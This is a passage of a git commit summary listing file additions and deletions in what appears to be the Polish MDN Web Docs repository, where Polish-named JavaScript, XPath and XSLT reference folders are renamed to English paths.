.../reference/global_objects/string/sub/index.html | 44 + .../global_objects/string/substr/index.html | 66 + .../global_objects/string/substring/index.html | 90 + .../reference/global_objects/string/sup/index.html | 45 + .../global_objects/string/tolowercase/index.html | 40 + .../global_objects/string/tosource/index.html | 41 + .../global_objects/string/tostring/index.html | 41 + .../global_objects/string/touppercase/index.html | 38 + .../global_objects/string/valueof/index.html | 40 + .../reference/global_objects/symbol/index.html | 227 ++ .../global_objects/syntaxerror/index.html | 100 + .../global_objects/uint16array/index.html | 224 ++ .../reference/global_objects/undefined/index.html | 40 + files/pl/web/javascript/reference/index.html | 70 + .../reference/lexical_grammar/index.html | 55 + .../reference/operators/comma_operator/index.html | 37 + .../operators/conditional_operator/index.html | 34 + .../reference/operators/delete/index.html | 74 + .../operators/destructuring_assignment/index.html | 493 +++ .../reference/operators/function/index.html | 144 + .../reference/operators/function_star_/index.html | 90 + .../reference/operators/grouping/index.html | 90 + .../javascript/reference/operators/in/index.html | 92 + .../web/javascript/reference/operators/index.html | 282 ++ .../reference/operators/instanceof/index.html | 168 + .../reference/operators/new.target/index.html | 134 + .../javascript/reference/operators/new/index.html | 183 ++ .../nullish_coalescing_operator/index.html | 251 ++ .../operators/object_initializer/index.html | 387 +++ .../operators/operator_precedence/index.html | 336 ++ .../operators/pipeline_operator/index.html | 65 + .../operators/property_accessors/index.html | 177 ++ .../reference/operators/spread_syntax/index.html | 244 ++ .../reference/operators/super/index.html | 171 ++ .../javascript/reference/operators/this/index.html | 346 +++ .../reference/operators/typeof/index.html | 91 + .../javascript/reference/operators/void/index.html | 51 + .../reference/operators/yield/index.html | 168 + .../reference/operators/yield_star_/index.html | 200 ++ .../reference/statements/async_function/index.html | 264 ++ .../reference/statements/block/index.html | 160 + .../reference/statements/break/index.html | 67 + .../reference/statements/class/index.html | 113 + .../reference/statements/const/index.html | 53 + .../reference/statements/continue/index.html | 166 + .../reference/statements/debugger/index.html | 126 + .../reference/statements/do...while/index.html | 54 + .../reference/statements/empty/index.html | 92 + .../reference/statements/export/index.html | 47 + .../reference/statements/for...in/index.html | 173 ++ .../javascript/reference/statements/for/index.html | 58 + .../reference/statements/function/index.html | 68 + .../reference/statements/function_star_/index.html | 309 ++ .../reference/statements/if...else/index.html | 65 + .../reference/statements/import/index.html | 55 + .../web/javascript/reference/statements/index.html | 149 + .../reference/statements/label/index.html | 51 + .../reference/statements/return/index.html | 48 + .../reference/statements/switch/index.html | 285 ++ .../reference/statements/throw/index.html | 197 ++ .../javascript/reference/statements/var/index.html | 61 + .../reference/statements/while/index.html | 61 + .../referencje/funkcje/arguments/callee/index.html | 60 - .../referencje/funkcje/arguments/index.html | 129 - .../referencje/funkcje/arguments/length/index.html | 59 - files/pl/web/javascript/referencje/index.html | 70 - .../web/javascript/referencje/komentarz/index.html | 55 - .../referencje/o_tym_dokumencie/index.html | 58 - .../konwencje_formatowania_tekstu/index.html | 31 - .../referencje/obiekty/array/concat/index.html | 71 - .../referencje/obiekty/array/copywithin/index.html | 181 -- .../referencje/obiekty/array/entries/index.html | 77 - .../referencje/obiekty/array/every/index.html | 89 - .../referencje/obiekty/array/fill/index.html | 185 -- .../referencje/obiekty/array/filter/index.html | 150 - .../referencje/obiekty/array/find/index.html | 278 -- .../referencje/obiekty/array/findindex/index.html | 214 -- .../referencje/obiekty/array/flat/index.html | 173 -- .../referencje/obiekty/array/foreach/index.html | 104 - .../referencje/obiekty/array/from/index.html | 248 -- .../referencje/obiekty/array/includes/index.html | 110 - .../javascript/referencje/obiekty/array/index.html | 279 -- .../referencje/obiekty/array/indexof/index.html | 95 - .../referencje/obiekty/array/isarray/index.html | 139 - .../referencje/obiekty/array/join/index.html | 50 - .../referencje/obiekty/array/keys/index.html | 120 - .../obiekty/array/lastindexof/index.html | 114 - .../referencje/obiekty/array/length/index.html | 53 - .../referencje/obiekty/array/map/index.html | 93 - .../referencje/obiekty/array/of/index.html | 92 - .../referencje/obiekty/array/pop/index.html | 138 - .../referencje/obiekty/array/prototype/index.html | 12 - .../referencje/obiekty/array/push/index.html | 51 - .../referencje/obiekty/array/reduce/index.html | 300 -- .../obiekty/array/reduceright/index.html | 344 --- .../referencje/obiekty/array/reverse/index.html | 55 - .../referencje/obiekty/array/shift/index.html | 48 - .../referencje/obiekty/array/slice/index.html | 99 - .../referencje/obiekty/array/some/index.html | 110 - .../referencje/obiekty/array/sort/index.html | 122 - .../referencje/obiekty/array/splice/index.html | 86 - .../obiekty/array/tolocalestring/index.html | 128 - .../referencje/obiekty/array/tosource/index.html | 62 - .../referencje/obiekty/array/tostring/index.html | 42 - .../referencje/obiekty/array/unshift/index.html | 56 - .../referencje/obiekty/array/values/index.html | 84 - .../referencje/obiekty/arraybuffer/index.html | 222 -- .../referencje/obiekty/bigint/asintn/index.html | 79 - .../referencje/obiekty/bigint/asuintn/index.html | 78 - .../referencje/obiekty/bigint/index.html | 293 -- .../referencje/obiekty/bigint/tostring/index.html | 95 - .../referencje/obiekty/bigint/valueof/index.html | 59 - .../referencje/obiekty/boolean/index.html | 111 - .../obiekty/boolean/prototype/index.html | 49 - .../referencje/obiekty/boolean/tosource/index.html | 51 - .../referencje/obiekty/boolean/tostring/index.html | 41 - .../referencje/obiekty/boolean/valueof/index.html | 43 - .../referencje/obiekty/dataview/index.html | 118 - .../referencje/obiekty/date/constructor/index.html | 19 - .../referencje/obiekty/date/getdate/index.html | 47 - .../referencje/obiekty/date/getday/index.html | 47 - .../referencje/obiekty/date/getfullyear/index.html | 47 - .../referencje/obiekty/date/gethours/index.html | 46 - .../obiekty/date/getmilliseconds/index.html | 44 - .../referencje/obiekty/date/getminutes/index.html | 48 - .../referencje/obiekty/date/getmonth/index.html | 46 - .../referencje/obiekty/date/getseconds/index.html | 46 - .../referencje/obiekty/date/gettime/index.html | 47 - .../obiekty/date/gettimezoneoffset/index.html | 35 - .../referencje/obiekty/date/getutcdate/index.html | 45 - .../referencje/obiekty/date/getutcday/index.html | 45 - .../obiekty/date/getutcfullyear/index.html | 44 - .../referencje/obiekty/date/getutchours/index.html | 44 - .../obiekty/date/getutcmilliseconds/index.html | 44 - .../obiekty/date/getutcminutes/index.html | 44 - .../referencje/obiekty/date/getutcmonth/index.html | 44 - .../obiekty/date/getutcseconds/index.html | 44 - .../referencje/obiekty/date/getyear/index.html | 97 - .../javascript/referencje/obiekty/date/index.html | 138 - .../referencje/obiekty/date/now/index.html | 43 - .../referencje/obiekty/date/parse/index.html | 74 - .../referencje/obiekty/date/prototype/index.html | 116 - .../referencje/obiekty/date/setdate/index.html | 43 - .../referencje/obiekty/date/setfullyear/index.html | 58 - .../referencje/obiekty/date/sethours/index.html | 66 - .../obiekty/date/setmilliseconds/index.html | 45 - .../referencje/obiekty/date/setminutes/index.html | 60 - .../referencje/obiekty/date/setmonth/index.html | 56 - .../referencje/obiekty/date/setseconds/index.html | 56 - .../referencje/obiekty/date/settime/index.html | 46 - .../referencje/obiekty/date/setutcdate/index.html | 45 - .../obiekty/date/setutcfullyear/index.html | 57 - .../referencje/obiekty/date/setutchours/index.html | 62 - .../obiekty/date/setutcmilliseconds/index.html | 45 - .../obiekty/date/setutcminutes/index.html | 57 - .../referencje/obiekty/date/setutcmonth/index.html | 52 - .../obiekty/date/setutcseconds/index.html | 52 - .../referencje/obiekty/date/setyear/index.html | 52 - .../referencje/obiekty/date/togmtstring/index.html | 44 - .../referencje/obiekty/date/tojson/index.html | 70 - .../obiekty/date/tolocaledatestring/index.html | 55 - .../obiekty/date/tolocalestring/index.html | 51 - .../obiekty/date/tolocaletimestring/index.html | 52 - .../referencje/obiekty/date/tosource/index.html | 49 - .../referencje/obiekty/date/tostring/index.html | 49 - .../referencje/obiekty/date/toutcstring/index.html | 43 - .../referencje/obiekty/date/utc/index.html | 69 - .../referencje/obiekty/date/valueof/index.html | 46 - .../referencje/obiekty/decodeuri/index.html | 39 - .../obiekty/decodeuricomponent/index.html | 41 - .../referencje/obiekty/encodeuri/index.html | 72 - .../obiekty/encodeuricomponent/index.html | 38 - .../obiekty/error/columnnumber/index.html | 81 - .../referencje/obiekty/error/filename/index.html | 49 - .../javascript/referencje/obiekty/error/index.html | 246 -- .../referencje/obiekty/error/linenumber/index.html | 57 - .../referencje/obiekty/error/message/index.html | 108 - .../referencje/obiekty/error/name/index.html | 109 - .../referencje/obiekty/error/prototype/index.html | 114 - .../referencje/obiekty/error/stack/index.html | 127 - .../referencje/obiekty/error/tosource/index.html | 60 - .../referencje/obiekty/error/tostring/index.html | 98 - .../referencje/obiekty/escape/index.html | 120 - .../referencje/obiekty/evalerror/index.html | 87 - .../referencje/obiekty/function/apply/index.html | 289 -- .../obiekty/function/arguments/index.html | 41 - .../referencje/obiekty/function/bind/index.html | 332 -- .../referencje/obiekty/function/caller/index.html | 69 - .../obiekty/function/displayname/index.html | 119 - .../referencje/obiekty/function/index.html | 237 -- .../referencje/obiekty/function/length/index.html | 42 - .../obiekty/function/tostring/index.html | 56 - .../referencje/obiekty/generator/index.html | 178 -- .../web/javascript/referencje/obiekty/index.html | 193 -- .../referencje/obiekty/infinity/index.html | 35 - .../referencje/obiekty/isfinite/index.html | 56 - .../javascript/referencje/obiekty/isnan/index.html | 53 - .../javascript/referencje/obiekty/json/index.html | 147 - .../referencje/obiekty/map/clear/index.html | 87 - .../referencje/obiekty/map/delete/index.html | 85 - .../referencje/obiekty/map/entries/index.html | 128 - .../referencje/obiekty/map/foreach/index.html | 104 - .../referencje/obiekty/map/get/index.html | 80 - .../referencje/obiekty/map/has/index.html | 85 - .../javascript/referencje/obiekty/map/index.html | 458 --- .../referencje/obiekty/map/keys/index.html | 78 - .../referencje/obiekty/map/set/index.html | 96 - .../referencje/obiekty/map/size/index.html | 65 - .../referencje/obiekty/map/values/index.html | 77 - .../referencje/obiekty/math/abs/index.html | 54 - .../referencje/obiekty/math/acos/index.html | 59 - .../referencje/obiekty/math/asin/index.html | 58 - .../referencje/obiekty/math/atan/index.html | 51 - .../referencje/obiekty/math/atan2/index.html | 63 - .../referencje/obiekty/math/ceil/index.html | 49 - .../referencje/obiekty/math/cos/index.html | 52 - .../referencje/obiekty/math/e/index.html | 40 - .../referencje/obiekty/math/exp/index.html | 49 - .../referencje/obiekty/math/floor/index.html | 46 - .../javascript/referencje/obiekty/math/index.html | 94 - .../referencje/obiekty/math/ln10/index.html | 42 - .../referencje/obiekty/math/ln2/index.html | 40 - .../referencje/obiekty/math/log/index.html | 54 - .../referencje/obiekty/math/log10e/index.html | 44 - .../referencje/obiekty/math/log2e/index.html | 42 - .../referencje/obiekty/math/max/index.html | 43 - .../referencje/obiekty/math/min/index.html | 44 - .../referencje/obiekty/math/pi/index.html | 40 - .../referencje/obiekty/math/pow/index.html | 49 - .../referencje/obiekty/math/random/index.html | 67 - .../referencje/obiekty/math/round/index.html | 50 - .../referencje/obiekty/math/sign/index.html | 118 - .../referencje/obiekty/math/sin/index.html | 51 - .../referencje/obiekty/math/sqrt/index.html | 46 - .../referencje/obiekty/math/sqrt1_2/index.html | 39 - .../referencje/obiekty/math/sqrt2/index.html | 41 - .../referencje/obiekty/math/tan/index.html | 53 - .../javascript/referencje/obiekty/nan/index.html | 45 - .../javascript/referencje/obiekty/null/index.html | 134 - .../obiekty/number/constructor/index.html | 23 - .../referencje/obiekty/number/epsilon/index.html | 76 - .../referencje/obiekty/number/index.html | 111 - .../referencje/obiekty/number/isinteger/index.html | 88 - .../referencje/obiekty/number/isnan/index.html | 108 - .../referencje/obiekty/number/max_value/index.html | 35 - .../referencje/obiekty/number/min_value/index.html | 39 - .../referencje/obiekty/number/nan/index.html | 48 - .../obiekty/number/negative_infinity/index.html | 53 - .../obiekty/number/positive_infinity/index.html | 57 - .../obiekty/number/toexponential/index.html | 53 - .../referencje/obiekty/number/tofixed/index.html | 61 - .../obiekty/number/tolocalestring/index.html | 182 -- .../obiekty/number/toprecision/index.html | 56 - .../referencje/obiekty/number/tostring/index.html | 59 - .../referencje/obiekty/object/assign/index.html | 307 -- .../obiekty/object/constructor/index.html | 49 - .../referencje/obiekty/object/freeze/index.html | 201 -- .../object/getownpropertydescriptor/index.html | 121 - .../obiekty/object/hasownproperty/index.html | 150 - .../referencje/obiekty/object/index.html | 212 -- .../referencje/obiekty/object/proto/index.html | 193 -- .../referencje/obiekty/object/prototype/index.html | 219 -- .../referencje/obiekty/object/seal/index.html | 165 - .../obiekty/object/tolocalestring/index.html | 35 - .../referencje/obiekty/object/tosource/index.html | 73 - .../referencje/obiekty/object/tostring/index.html | 98 - .../referencje/obiekty/object/valueof/index.html | 63 - .../referencje/obiekty/parsefloat/index.html | 68 - .../referencje/obiekty/parseint/index.html | 112 - .../referencje/obiekty/promise/index.html | 256 -- .../obiekty/proxy/handler/apply/index.html | 117 - .../referencje/obiekty/proxy/handler/index.html | 78 - .../javascript/referencje/obiekty/proxy/index.html | 401 --- .../referencje/obiekty/rangeerror/index.html | 162 - .../obiekty/rangeerror/prototype/index.html | 124 - .../referencje/obiekty/regexp/exec/index.html | 144 - .../referencje/obiekty/regexp/global/index.html | 35 - .../obiekty/regexp/ignorecase/index.html | 35 - .../referencje/obiekty/regexp/index.html | 383 --- .../referencje/obiekty/regexp/lastmatch/index.html | 54 - .../referencje/obiekty/regexp/prototype/index.html | 54 - .../referencje/obiekty/regexp/source/index.html | 29 - .../referencje/obiekty/regexp/test/index.html | 53 - .../referencje/obiekty/regexp/tosource/index.html | 47 - .../referencje/obiekty/regexp/tostring/index.html | 46 - .../javascript/referencje/obiekty/set/index.html | 486 --- .../obiekty/set/set.prototype.add()/index.html | 134 - .../obiekty/set/set.prototype.clear()/index.html | 124 - .../obiekty/set/set.prototype.delete()/index.html | 102 - .../referencje/obiekty/string/anchor/index.html | 56 - .../referencje/obiekty/string/big/index.html | 43 - .../referencje/obiekty/string/blink/index.html | 50 - .../referencje/obiekty/string/bold/index.html | 45 - .../referencje/obiekty/string/charat/index.html | 68 - .../obiekty/string/charcodeat/index.html | 42 - .../referencje/obiekty/string/concat/index.html | 44 - .../referencje/obiekty/string/fontcolor/index.html | 50 - .../referencje/obiekty/string/fontsize/index.html | 48 - .../obiekty/string/fromcharcode/index.html | 50 - .../obiekty/string/fromcodepoint/index.html | 149 - .../referencje/obiekty/string/index.html | 194 -- .../referencje/obiekty/string/italics/index.html | 45 - .../referencje/obiekty/string/link/index.html | 43 - .../referencje/obiekty/string/prototype/index.html | 221 -- .../referencje/obiekty/string/repeat/index.html | 166 - .../referencje/obiekty/string/search/index.html | 49 - .../referencje/obiekty/string/slice/index.html | 51 - .../referencje/obiekty/string/small/index.html | 37 - .../referencje/obiekty/string/strike/index.html | 44 - .../referencje/obiekty/string/sub/index.html | 44 - .../referencje/obiekty/string/substr/index.html | 66 - .../referencje/obiekty/string/substring/index.html | 90 - .../referencje/obiekty/string/sup/index.html | 45 - .../obiekty/string/tolowercase/index.html | 40 - .../referencje/obiekty/string/tosource/index.html | 41 - .../referencje/obiekty/string/tostring/index.html | 41 - .../obiekty/string/touppercase/index.html | 38 - .../referencje/obiekty/string/valueof/index.html | 40 - .../referencje/obiekty/symbol/index.html | 227 -- .../referencje/obiekty/syntaxerror/index.html | 100 - .../referencje/obiekty/uint16array/index.html | 224 -- .../referencje/obiekty/undefined/index.html | 40 - .../operatory/bitwise_operators/index.html | 559 ---- .../operatory/destructuring_assignment/index.html | 493 --- .../referencje/operatory/function_star_/index.html | 90 - .../referencje/operatory/grouping/index.html | 90 - .../web/javascript/referencje/operatory/index.html | 282 -- .../operatory/logical_operators/index.html | 254 -- .../referencje/operatory/new.target/index.html | 134 - .../nullish_coalescing_operator/index.html | 251 -- .../operatory/object_initializer/index.html | 387 --- .../operatory/operator_delete/index.html | 74 - .../operatory/operator_function/index.html | 144 - .../referencje/operatory/operator_in/index.html | 92 - .../operatory/operator_instanceof/index.html | 168 - .../referencje/operatory/operator_new/index.html | 183 -- .../operatory/operator_potoku/index.html | 65 - .../operatory/operator_przecinkowy/index.html | 37 - .../operatory/operator_typeof/index.html | 91 - .../referencje/operatory/operator_void/index.html | 51 - .../operatory/operator_warunkowy/index.html | 34 - .../operatory/operatory_arytmetyczne/index.html | 268 -- .../index.html" | 35 - .../operatory/operatory_pami\304\231ci/index.html" | 177 -- .../operatory_por\303\263wnania/index.html" | 130 - .../operatory/operatory_przypisania/index.html | 75 - .../index.html" | 336 -- .../sk\305\202adnia_rozwini\304\231cia/index.html" | 244 -- .../operatory/spread_operator/index.html | 230 -- .../referencje/operatory/super/index.html | 171 -- .../referencje/operatory/this/index.html | 346 --- .../referencje/operatory/yield/index.html | 168 - .../referencje/operatory/yield_star_/index.html | 200 -- .../referencje/polecenia/block/index.html | 160 - .../referencje/polecenia/break/index.html | 67 - .../referencje/polecenia/class/index.html | 113 - .../referencje/polecenia/const/index.html | 53 - .../referencje/polecenia/continue/index.html | 166 - .../referencje/polecenia/debugger/index.html | 126 - .../referencje/polecenia/default/index.html | 121 - .../referencje/polecenia/do...while/index.html | 54 - .../referencje/polecenia/empty/index.html | 92 - .../referencje/polecenia/etykieta/index.html | 51 - .../referencje/polecenia/export/index.html | 47 - .../referencje/polecenia/for...in/index.html | 173 -- .../javascript/referencje/polecenia/for/index.html | 58 - .../referencje/polecenia/function/index.html | 68 - .../referencje/polecenia/function_star_/index.html | 309 -- .../referencje/polecenia/funkcja_async/index.html | 264 -- .../referencje/polecenia/if...else/index.html | 65 - .../referencje/polecenia/import/index.html | 55 - .../web/javascript/referencje/polecenia/index.html | 149 - .../referencje/polecenia/return/index.html | 48 - .../referencje/polecenia/switch/index.html | 285 -- .../referencje/polecenia/throw/index.html | 197 -- .../javascript/referencje/polecenia/var/index.html | 61 - .../referencje/polecenia/while/index.html | 61 - .../index.html" | 292 -- .../s\305\202owa_zarezerwowane/index.html" | 18 - .../typy_oraz_struktury_danych/index.html | 443 --- .../index.html | 342 --- .../zasoby_j\304\231zyka_javascript/index.html" | 48 - files/pl/web/opensearch/index.html | 158 + .../responsive/media_types/index.html | 318 ++ .../security/certificate_transparency/index.html | 63 + files/pl/web/security/index.html | 24 + .../pl/web/security/same-origin_policy/index.html | 277 ++ .../konfiguracja_mime_na_serwerze/index.html | 114 - .../web/security/subresource_integrity/index.html | 163 + files/pl/web/svg/element/circle/index.html | 99 + "files/pl/web/svg/element/okr\304\205g/index.html" | 99 - files/pl/web/svg/inne_zasoby/index.html | 19 - files/pl/web/svg/other_resources/index.html | 19 + files/pl/web/svg/przewodnik/index.html | 28 - .../svg_w_xhtml_-_wprowadzenie/index.html | 78 - files/pl/web/svg/tutorial/index.html | 28 + files/pl/web/svg/tutorial/svg_and_css/index.html | 195 ++ .../tutorial/svg_in_html_introduction/index.html | 78 + files/pl/web/xml/wprowadzenie_do_xml-a/index.html | 46 - files/pl/web/xml/xml_introduction/index.html | 46 + files/pl/web/xpath/axes/index.html | 44 + files/pl/web/xpath/functions/boolean/index.html | 38 + files/pl/web/xpath/functions/ceiling/index.html | 36 + files/pl/web/xpath/functions/concat/index.html | 31 + files/pl/web/xpath/functions/contains/index.html | 36 + files/pl/web/xpath/functions/count/index.html | 33 + files/pl/web/xpath/functions/current/index.html | 30 + files/pl/web/xpath/functions/document/index.html | 42 + .../xpath/functions/element-available/index.html | 30 + files/pl/web/xpath/functions/false/index.html | 37 + files/pl/web/xpath/functions/floor/index.html | 33 + .../web/xpath/functions/format-number/index.html | 38 + .../xpath/functions/function-available/index.html | 29 + .../pl/web/xpath/functions/generate-id/index.html | 36 + files/pl/web/xpath/functions/id/index.html | 36 + files/pl/web/xpath/functions/index.html | 55 + files/pl/web/xpath/functions/key/index.html | 36 + files/pl/web/xpath/functions/lang/index.html | 58 + files/pl/web/xpath/functions/last/index.html | 33 + files/pl/web/xpath/functions/local-name/index.html | 36 + files/pl/web/xpath/functions/name/index.html | 35 + .../web/xpath/functions/namespace-uri/index.html | 37 + .../web/xpath/functions/normalize-space/index.html | 34 + files/pl/web/xpath/functions/not/index.html | 37 + files/pl/web/xpath/functions/number/index.html | 37 + files/pl/web/xpath/functions/position/index.html | 54 + files/pl/web/xpath/functions/round/index.html | 36 + .../pl/web/xpath/functions/starts-with/index.html | 36 + .../web/xpath/functions/string-length/index.html | 32 + files/pl/web/xpath/functions/string/index.html | 43 + .../web/xpath/functions/substring-after/index.html | 40 + .../xpath/functions/substring-before/index.html | 38 + files/pl/web/xpath/functions/substring/index.html | 40 + files/pl/web/xpath/functions/sum/index.html | 36 + .../web/xpath/functions/system-property/index.html | 36 + files/pl/web/xpath/functions/translate/index.html | 86 + files/pl/web/xpath/functions/true/index.html | 30 + .../xpath/functions/unparsed-entity-url/index.html | 29 + files/pl/web/xpath/funkcje/boolean/index.html | 38 - files/pl/web/xpath/funkcje/ceiling/index.html | 36 - files/pl/web/xpath/funkcje/concat/index.html | 31 - files/pl/web/xpath/funkcje/contains/index.html | 36 - files/pl/web/xpath/funkcje/count/index.html | 33 - files/pl/web/xpath/funkcje/current/index.html | 30 - files/pl/web/xpath/funkcje/document/index.html | 42 - .../web/xpath/funkcje/element-available/index.html | 30 - files/pl/web/xpath/funkcje/false/index.html | 37 - files/pl/web/xpath/funkcje/floor/index.html | 33 - .../pl/web/xpath/funkcje/format-number/index.html | 38 - .../xpath/funkcje/function-available/index.html | 29 - files/pl/web/xpath/funkcje/generate-id/index.html | 36 - files/pl/web/xpath/funkcje/id/index.html | 36 - files/pl/web/xpath/funkcje/index.html | 55 - files/pl/web/xpath/funkcje/key/index.html | 36 - files/pl/web/xpath/funkcje/lang/index.html | 58 - files/pl/web/xpath/funkcje/last/index.html | 33 - files/pl/web/xpath/funkcje/local-name/index.html | 36 - files/pl/web/xpath/funkcje/name/index.html | 35 - .../pl/web/xpath/funkcje/namespace-uri/index.html | 37 - .../web/xpath/funkcje/normalize-space/index.html | 34 - files/pl/web/xpath/funkcje/not/index.html | 37 - files/pl/web/xpath/funkcje/number/index.html | 37 - files/pl/web/xpath/funkcje/position/index.html | 54 - files/pl/web/xpath/funkcje/round/index.html | 36 - files/pl/web/xpath/funkcje/starts-with/index.html | 36 - .../pl/web/xpath/funkcje/string-length/index.html | 32 - files/pl/web/xpath/funkcje/string/index.html | 43 - .../web/xpath/funkcje/substring-after/index.html | 40 - .../web/xpath/funkcje/substring-before/index.html | 38 - files/pl/web/xpath/funkcje/substring/index.html | 40 - files/pl/web/xpath/funkcje/sum/index.html | 36 - .../web/xpath/funkcje/system-property/index.html | 36 - files/pl/web/xpath/funkcje/translate/index.html | 86 - files/pl/web/xpath/funkcje/true/index.html | 30 - .../xpath/funkcje/unparsed-entity-url/index.html | 29 - files/pl/web/xpath/osie/index.html | 44 - files/pl/web/xslt/apply-imports/index.html | 30 - files/pl/web/xslt/apply-templates/index.html | 35 - files/pl/web/xslt/attribute-set/index.html | 35 - files/pl/web/xslt/attribute/index.html | 34 - files/pl/web/xslt/call-template/index.html | 32 - files/pl/web/xslt/choose/index.html | 35 - files/pl/web/xslt/comment/index.html | 31 - files/pl/web/xslt/copy-of/index.html | 32 - files/pl/web/xslt/copy/index.html | 32 - files/pl/web/xslt/decimal-format/index.html | 73 - files/pl/web/xslt/element/apply-imports/index.html | 30 + .../pl/web/xslt/element/apply-templates/index.html | 35 + files/pl/web/xslt/element/attribute-set/index.html | 35 + files/pl/web/xslt/element/attribute/index.html | 34 + files/pl/web/xslt/element/call-template/index.html | 32 + files/pl/web/xslt/element/choose/index.html | 35 + files/pl/web/xslt/element/comment/index.html | 31 + files/pl/web/xslt/element/copy-of/index.html | 32 + files/pl/web/xslt/element/copy/index.html | 32 + .../pl/web/xslt/element/decimal-format/index.html | 73 + files/pl/web/xslt/element/fallback/index.html | 32 + files/pl/web/xslt/element/for-each/index.html | 32 + files/pl/web/xslt/element/if/index.html | 33 + files/pl/web/xslt/element/import/index.html | 31 + files/pl/web/xslt/element/include/index.html | 31 + files/pl/web/xslt/element/key/index.html | 36 + files/pl/web/xslt/element/message/index.html | 31 + .../pl/web/xslt/element/namespace-alias/index.html | 33 + files/pl/web/xslt/element/number/index.html | 98 + files/pl/web/xslt/element/otherwise/index.html | 32 + files/pl/web/xslt/element/output/index.html | 63 + files/pl/web/xslt/element/param/index.html | 34 + .../pl/web/xslt/element/preserve-space/index.html | 31 + .../xslt/element/processing-instruction/index.html | 33 + files/pl/web/xslt/element/sort/index.html | 49 + files/pl/web/xslt/element/strip-space/index.html | 31 + files/pl/web/xslt/element/stylesheet/index.html | 34 + files/pl/web/xslt/element/template/index.html | 47 + files/pl/web/xslt/element/text/index.html | 34 + files/pl/web/xslt/element/transform/index.html | 17 + files/pl/web/xslt/element/value-of/index.html | 32 + files/pl/web/xslt/element/variable/index.html | 35 + files/pl/web/xslt/element/when/index.html | 33 + files/pl/web/xslt/element/with-param/index.html | 32 + files/pl/web/xslt/fallback/index.html | 32 - files/pl/web/xslt/for-each/index.html | 32 - files/pl/web/xslt/if/index.html | 33 - files/pl/web/xslt/import/index.html | 31 - files/pl/web/xslt/include/index.html | 31 - files/pl/web/xslt/key/index.html | 36 - files/pl/web/xslt/message/index.html | 31 - files/pl/web/xslt/namespace-alias/index.html | 33 - files/pl/web/xslt/number/index.html | 98 - files/pl/web/xslt/otherwise/index.html | 32 - files/pl/web/xslt/output/index.html | 63 - files/pl/web/xslt/param/index.html | 34 - files/pl/web/xslt/preserve-space/index.html | 31 - .../pl/web/xslt/processing-instruction/index.html | 33 - files/pl/web/xslt/sort/index.html | 49 - files/pl/web/xslt/strip-space/index.html | 31 - files/pl/web/xslt/stylesheet/index.html | 34 - files/pl/web/xslt/template/index.html | 47 - files/pl/web/xslt/text/index.html | 34 - files/pl/web/xslt/transform/index.html | 17 - .../dokumentacja_xslt_xpath/index.html | 243 -- .../web/xslt/transformacje_xml_z_xslt/index.html | 147 - .../przeczytaj_wi\304\231cej/index.html" | 205 -- .../for_further_reading/index.html | 205 ++ .../web/xslt/transforming_xml_with_xslt/index.html | 147 + .../the_netscape_xslt_xpath_reference/index.html | 243 ++ files/pl/web/xslt/value-of/index.html | 32 - files/pl/web/xslt/variable/index.html | 35 - files/pl/web/xslt/when/index.html | 33 - files/pl/web/xslt/with-param/index.html | 32 - 1192 files changed, 54634 insertions(+), 64634 deletions(-) create mode 100644 files/pl/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html delete mode 100644 files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html create mode 100644 files/pl/web/accessibility/aria/web_applications_and_aria_faq/index.html create mode 100644 files/pl/web/accessibility/index.html create mode 100644 files/pl/web/accessibility/keyboard-navigable_javascript_widgets/index.html delete mode 100644 files/pl/web/api/audiocontext/createdynamicscompressor/index.html create mode 100644 files/pl/web/api/baseaudiocontext/createdynamicscompressor/index.html create mode 100644 files/pl/web/api/canvas_api/index.html create mode 100644 files/pl/web/api/canvas_api/tutorial/drawing_shapes/index.html create mode 100644 files/pl/web/api/canvas_api/tutorial/drawing_text/index.html create mode 100644 files/pl/web/api/canvas_api/tutorial/optimizing_canvas/index.html delete mode 100644 files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html delete mode 100644 files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html create mode 100644 files/pl/web/api/cssrulelist/index.html create mode 100644 files/pl/web/api/cssstylesheet/deleterule/index.html create mode 100644 files/pl/web/api/cssstylesheet/index.html create mode 100644 files/pl/web/api/cssstylesheet/insertrule/index.html delete mode 100644 files/pl/web/api/document/activeelement/index.html delete mode 100644 files/pl/web/api/document/firstchild/index.html delete mode 100644 files/pl/web/api/document/namespaceuri/index.html delete mode 100644 files/pl/web/api/document/stylesheets/index.html create mode 100644 files/pl/web/api/document_object_model/examples/index.html create mode 100644 files/pl/web/api/document_object_model/index.html create mode 100644 files/pl/web/api/document_object_model/introduction/index.html create mode 100644 files/pl/web/api/documentorshadowroot/activeelement/index.html create mode 100644 files/pl/web/api/documentorshadowroot/stylesheets/index.html delete mode 100644 files/pl/web/api/element/addeventlistener/index.html delete mode 100644 files/pl/web/api/element/appendchild/index.html delete mode 100644 files/pl/web/api/element/blur/index.html delete mode 100644 files/pl/web/api/element/childnodes/index.html delete mode 100644 files/pl/web/api/element/click/index.html delete mode 100644 files/pl/web/api/element/clientnode/index.html delete mode 100644 files/pl/web/api/element/dir/index.html delete mode 100644 files/pl/web/api/element/dispatchevent/index.html delete mode 100644 files/pl/web/api/element/firstchild/index.html delete mode 100644 files/pl/web/api/element/focus/index.html delete mode 100644 files/pl/web/api/element/haschildnodes/index.html delete mode 100644 files/pl/web/api/element/insertbefore/index.html delete mode 100644 files/pl/web/api/element/lang/index.html delete mode 100644 files/pl/web/api/element/lastchild/index.html delete mode 100644 files/pl/web/api/element/length/index.html delete mode 100644 files/pl/web/api/element/localname/index.html delete mode 100644 files/pl/web/api/element/name/index.html delete mode 100644 files/pl/web/api/element/namespaceuri/index.html delete mode 100644 files/pl/web/api/element/nextsibling/index.html delete mode 100644 files/pl/web/api/element/nodename/index.html delete mode 100644 files/pl/web/api/element/nodetype/index.html delete mode 100644 files/pl/web/api/element/nodevalue/index.html delete mode 100644 files/pl/web/api/element/normalize/index.html delete mode 100644 files/pl/web/api/element/offsetheight/index.html delete mode 100644 files/pl/web/api/element/offsetleft/index.html delete mode 100644 files/pl/web/api/element/offsetparent/index.html delete mode 100644 files/pl/web/api/element/offsetwidth/index.html delete mode 100644 files/pl/web/api/element/onclick/index.html delete mode 100644 files/pl/web/api/element/onkeypress/index.html delete mode 100644 files/pl/web/api/element/onkeyup/index.html delete mode 100644 files/pl/web/api/element/onmousedown/index.html delete mode 100644 files/pl/web/api/element/onmousemove/index.html delete mode 100644 files/pl/web/api/element/ownerdocument/index.html delete mode 100644 